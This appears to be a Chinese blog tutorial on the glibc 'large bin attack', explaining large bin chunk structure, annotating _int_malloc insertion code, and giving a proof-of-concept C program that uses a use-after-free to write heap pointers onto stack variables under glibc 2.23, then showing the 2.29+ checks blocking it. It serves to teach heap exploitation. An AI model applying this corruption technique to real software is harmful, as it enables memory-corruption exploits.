large bin attack

large bin attack

large bin介绍

large chunk

large chunk指的整个chunk的大小(包括chunk头部分)大于等于1024(0x400)字节的chunk。

一个large chunk大概的构造是这样的:

prev_size size
fd bk
fd_nextsize bk_nextsize
... ...

large bin

free状态的large chunk就是放在large bin中管理的

large bin链表总共有63个链表

bins 中占据 64 到 126 这个范围的位置

index 范围
64 [0x400,0x440)
65 [0x440,0x480)
... ...
... ...
126 >0x40000

为什么会多出fd_nextsize、bk_nextsize两个指针域?

这是因为largebin回收的chunk范围很大,而且同一个链表的节点的大小可以不同,跟fastbin或者unsortedbin还是有很大的区别,管理的范围广了,就需要一套高效的管理机制,因此增加两个指针域,通过提升维度加强管理。(清楚large bin不仅是一个双链表,而且是个二维的双链表)

示范代码:

#include<stdio.h>
#include<stdlib.h>
int main(){

        size_t *p1 = malloc(0x430);
        malloc(0x10);//防止合并
        size_t *p2 = malloc(0x440);
        malloc(0x10);
        size_t *p3 = malloc(0x450);
        malloc(0x10);
        int * a =malloc(0x430);
        malloc(0x10);
        int * b =malloc(0x440);
        malloc(0x10);
        int * c =malloc(0x450);
        malloc(0x10);

        free(p1);
        free(p2);
        free(p3);
        free(a);
        free(b);
        free(c);
        malloc(0x1000);
}

将代码编译后可以进行调试,我画了这张图,代表了释放如上图的6个chunk后(这些chunk如若free掉会先放入unsorted bin里面,在下一次的malloc时,过一遍分配检查机制,如果没有割裂分配出去或者没有合并,便会放入对应large bin里面),在链表的情况。

image-20220612164530587

作为链表中的每一个节点,large bin有fd和bk,可以看到fd可以把每一个节点都串起来,但是显然bk却做不到,但是可以看出副链还是双链表结构,可以往下延伸叠加。large bin的fd_nextsize、bk_nextsize用于主链的连接,图中可以看到一条清晰的横向双链表。

我们可以把主链看成横向链,副链看成纵向链。横纵交替就是一张二维的链表。

再简单来说,在副链上,也就是纵向链,fd和bk连接的节点都是大小一样;而横向主链fd_nextsize和bk_nextsize连接的节点都是不一样大小的。fd_nextsize指针指向的是chunk双向链表中下一个大小不同的chunk,bk_nextsize指向的是chunk双向链表中前一个大小不同的chunk。

源码分析

为了更好理解是如何将chunk从unsortedbin放进largebin的,下面进行源码分析

在int_malloc的源代码里(glibc 2.33)关于对指针恶意修改的检测,2.29以后才有,当然这是后话。

 if (in_largebin_range (size)) //判断是否属于largebin 
            {
              victim_index = largebin_index (size); //寻找当前size在largebin中的
              bck = bin_at (av, victim_index); //寻找main_arena
              fwd = bck->fd;//size最大的chunk的地址
 
              /* maintain large bins in sorted order */
              if (fwd != bck) //如果表不为空
                {
                  /* Or with inuse bit to speed comparisons */
                  size |= PREV_INUSE;
                  /* if smaller than smallest, bypass loop */
                  assert (chunk_main_arena (bck->bk));
                  if ((unsigned long) (size)
 < (unsigned long) chunksize_nomask(bck->bk))//bck->bk是当前最小的chunk,如果size比它还小,那么直接插入到表尾
                    {//总的来说,就是链表的插入操作
                      fwd = bck;
                      bck = bck->bk;
 
                      victim->fd_nextsize = fwd->fd;
                      victim->bk_nextsize = fwd->fd->bk_nextsize;
                      fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;

                    }
                  else//如果不是最小,那就由小到大找到第一个比它小的插在它的前面
                    {
                      assert (chunk_main_arena (fwd));
                      while ((unsigned long) size < chunksize_nomask (fwd))
                        {
                          fwd = fwd->fd_nextsize;
              assert (chunk_main_arena (fwd));
                        }
 
                      if ((unsigned long) size
              == (unsigned long) chunksize_nomask (fwd))
                        /* Always insert in the second position.  */
                        fwd = fwd->fd;//如果说是已经存在相同大小的chunk1,就将fwd赋为chunk1的下一个chunk2
                      else
                        {//插入到fwd的chunk的前面
                          victim->fd_nextsize = fwd;
                          victim->bk_nextsize = fwd->bk_nextsize;
                          
                         /*libc2.29之后才有该检查 
                         if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))//这个检查好像和unlink一样,都是检查fwd的指针有没有被恶意修改
                            malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");*/
                          
                          fwd->bk_nextsize = victim;
                          victim->bk_nextsize->fd_nextsize = victim;
                        }
                      bck = fwd->bk;//要作为纵向链表的,fwd就是chunk2,bck就是chunk1;要做为横向链表的,fwd->bk是前一个chunk或者main_arene,正常情况下面的条件势必不符合
                      /* libc2.29之后才有该检查
                      if (bck->fd != fwd)
                        malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");//同样是纵向检查指针有没有被恶意修改*/
                    }
                }
              else
                victim->fd_nextsize = victim->bk_nextsize = victim;//如果表为空,那么指针自指
            }
 
          mark_bin (av, victim_index);
          victim->bk = bck;
          victim->fd = fwd;
          fwd->bk = victim;
          bck->fd = victim;//不管到底有没有重复,都进行一次纵向链接,保证一些指针为NULL

largebin attack利用方式(libc-2.23)

以上的内容清楚了解后,我们才可以进一步研究large bin attack的利用方式

用以下一道程序浅显展示一下该漏洞利用方式

程序名lba.c

#include<stdio.h>
#include<stdlib.h>
int main()
{
   	unsigned long stack_var1 = 0;
	unsigned long stack_var2 = 0;

	fprintf(stderr, "stack_var1 (%p): %ld\n", &stack_var1, stack_var1);
    fprintf(stderr, "stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2);

	unsigned long *p1 = malloc(0x320);
	malloc(0x20);
	unsigned long *p2 = malloc(0x400);
	malloc(0x20);
	unsigned long *p3 = malloc(0x400);
	malloc(0x20);
	

	free(p1);
	free(p2);

	void* p4 = malloc(0x90);
	
	free(p3);
	
	p2[-1] = 0x3f1;
	p2[0] = 0;
	p2[1] = (unsigned long)(&stack_var1 - 2);
	p2[2] = 0;
	p2[3] = (unsigned long)(&stack_var2 - 4);
	
	malloc(0x90);
	fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
	fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);

	return 0;
}

编译

gcc -no-pie -g lba.c -o lba

更换libc库为2.23

patchelf --set-interpreter /usr/local/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so --set-rpath /usr/local/glibc-all-in-one/libs/2.23-0ubuntu3_amd64 ./lba

gdb调试

在程序下断点,运行可以得到这两个指针的地址

stack_var1 (0x7fffffffe498): 0
stack_var2 (0x7fffffffe4a0): 0

继续,在free完p3后,内存回收情况如下(注意根据unsortedbin先进先出的原则,前一步的malloc会已经将p1分割,所以malloc暂时是不会分割p2和p3的):

image-20220614150625305

由于在free掉p2后没有清空指针,这样就可以uaf

继续利用

//源码
	p2[-1] = 0x3f1;
	p2[0] = 0;
	p2[1] = (unsigned long)(&stack_var1 - 2);
	p2[2] = 0;
	p2[3] = (unsigned long)(&stack_var2 - 4);

修p2指针指向的一些值,此时的p2还是free状态

pwndbg> x/10gx p2-2
0x405360:	0x0000000000000000	0x00000000000003f1
0x405370:	0x0000000000000000	0x00007fffffffe488
0x405380:	0x0000000000000000	0x00007fffffffe480
0x405390:	0x0000000000000000	0x0000000000000000
0x4053a0:	0x0000000000000000	0x0000000000000000

根据largebin的节点的构造

我们先把大小尺寸改为0x3f1

然后往p2的bk写入&stack_var1 - 2(0x7fffffffe498-0x10=0x00007fffffffe488)

往p2的bk_nextsize写入&stack_var1 - 4(0x7fffffffe4a0-0x20=0x00007fffffffe480)

这是什么意思呢?下图很好的画了出来

img

也就是说当前P2的bk指向的是一个以stack_var1_addr - 0x10为头指针的chunk,这里记做fake_chunk1,那么就意味着stack_var1_addr是作为这个fake_chunk1的fd指针。那么此时P2 --> bk --> fd就是stack_var1_addr

P2的bk_nextsize指向的是一个以stack_var2_addr - 0x10为头指针的chunk,这里记做fake_chunk2,那么就意味着stack_var2_addr是作为这个fake_chunk2的fd_nextsize指针。那么此时P2 --> bk_nextsize --> fd_nextsize就是stack_var2_addr

再进入下一步 malloc(0x90)

此时malloc机制会尝试把p3放入largebin中,也就是会进入上面源码分析中的那段malloc源码

此时我们已经构造好chunk内的指针,看接下来发生的事情

首先看是否为最小

if ((unsigned long) (size)
 < (unsigned long) chunksize_nomask(bck->bk))

明显不是,之后程序会先拿p3去跟p2进行比较,看是否小于p2也就是链头的size

 while ((unsigned long) size < chunksize_nomask (fwd))

也不是,进入下一个相等的比较

 if ((unsigned long) size== (unsigned long) chunksize_nomask (fwd))

由于p2的size已经被我们提前改为0x3f1,所以也不会相等

那就进入大于的情况,就是进入如下代码

 {
                          victim->fd_nextsize = fwd;
                          victim->bk_nextsize = fwd->bk_nextsize; 
                          fwd->bk_nextsize = victim;
                          victim->bk_nextsize->fd_nextsize = victim;
                        }
                      bck = fwd->bk;

进行同等替换,会发生如下赋值:

{                         p3->fd_nextsize = p2;	
                          p3->bk_nextsize = p2->bk_nextsize;//p3->bk_nextsize=stack_var2_addr-0x20
                          p2->bk_nextsize = p3;//stack_var2_addr=p3
                          p3->bk_nextsize->fd_nextsize = p3;
                        }
                      bck = p2->bk;//stack_var1_addr-0x10

关键在于 p2->bk_nextsize = p3

这将让stack_var2_addr=p3也就是stack_var2存放了p3的头指针

继续往下

          p3->bk = bck;//p3->bk = stack_var1_addr-0x10
          p3->fd = fwd;
          fwd->bk = p3;
          bck->fd = p3;//stack_var1_addr=p3 

关键在于bck->fd = p3

这一步就让stack_var1_addr=p3 ,就是stack_var1存放了p3的头指针

程序最后也确实打印出来两个指针分别存放着的p3的头指针地址

stack_var1 (0x7fffffffe498): 0x4057a0
stack_var2 (0x7fffffffe4a0): 0x4057a0

libc2.29之后的检查

在libc2.29之后会加入检查代码,实现对指针恶意修改的检测,我们如果照上述的利用方式将会失效

我们可以实践一下,注意绕过tcache,修改一下实验代码

root@ubuntu20:~/lba# cat lba.c 
#include<stdio.h>
#include<stdlib.h>
int main()
{
   	unsigned long stack_var1 = 0;
	unsigned long stack_var2 = 0;

	fprintf(stderr, "stack_var1 (%p): %ld\n", &stack_var1, stack_var1);
    	fprintf(stderr, "stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2);
	
	unsigned a[7];
	unsigned b[7];
	for(int i=0;i<7;i++){
		a[i]=malloc(0x320);
		b[i]=malloc(0x400);
	}

	unsigned long *p1 = malloc(0x320);
	malloc(0x20);
	unsigned long *p2 = malloc(0x400);
	malloc(0x20);
	unsigned long *p3 = malloc(0x400);
	malloc(0x20);
	
	for(int i=0;i<7;i++){
               free(a[i]);
               free(b[i]);
        }


	free(p1);
	free(p2);

	void* p4 = malloc(0x90);
	
	free(p3);
	
	p2[-1] = 0x3f1;
	p2[0] = 0;
	p2[1] = (unsigned long)(&stack_var1 - 2);
	p2[2] = 0;
	p2[3] = (unsigned long)(&stack_var2 - 4);
	
	malloc(0x90);
	fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
	fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);

	return 0;
}

编译

root@ubuntu20:~/lba#  gcc -no-pie -g lba.c -o lba

查看libc版本为2.31

root@ubuntu20:~/lba# ldd lba
	linux-vdso.so.1 (0x00007ffff7fce000)
	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7dcd000)
	/lib64/ld-linux-x86-64.so.2 (0x00007ffff7fcf000)
root@ubuntu20:~/lba# ll /lib/x86_64-linux-gnu/libc.so.6
lrwxrwxrwx 1 root root 12 Feb 24 19:42 /lib/x86_64-linux-gnu/libc.so.6 -> libc-2.31.so*

依照2.23的利用方式,我们再把p3放进largebin时将不是一帆风顺,而是会面临两次检查

检查1

 if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
                            malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");

fwd是p2,所以fwd->bk_nextsize->fd_nextsize=p2->bk_nextsize->fd_nextsize = stack_var2_addr

要让stack_var2_addr与fwd(p2)进行比较,显然是不相等,程序就会报错

检查2

 if (bck->fd != fwd)
                        malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");

bck = p2->bk=stack_var1_addr-0x10,所以bck->fd=stack_var1_addr

要让stack_var1_addr 与fwd(p2)进行比较,显然是不相等,程序报错,如果前面的检查1就报错,程序就到达不了这里

我们把程序运行,结果不出意料

root@ubuntu20:~/lba# ./lba 
stack_var1 (0x7fffffffe480): 0
stack_var2 (0x7fffffffe488): 0

malloc(): largebin double linked list corrupted (nextsize)
Aborted (core dumped)
posted @ 2022-06-16 09:19  DAMOXILAI  阅读(178)  评论(0编辑  收藏  举报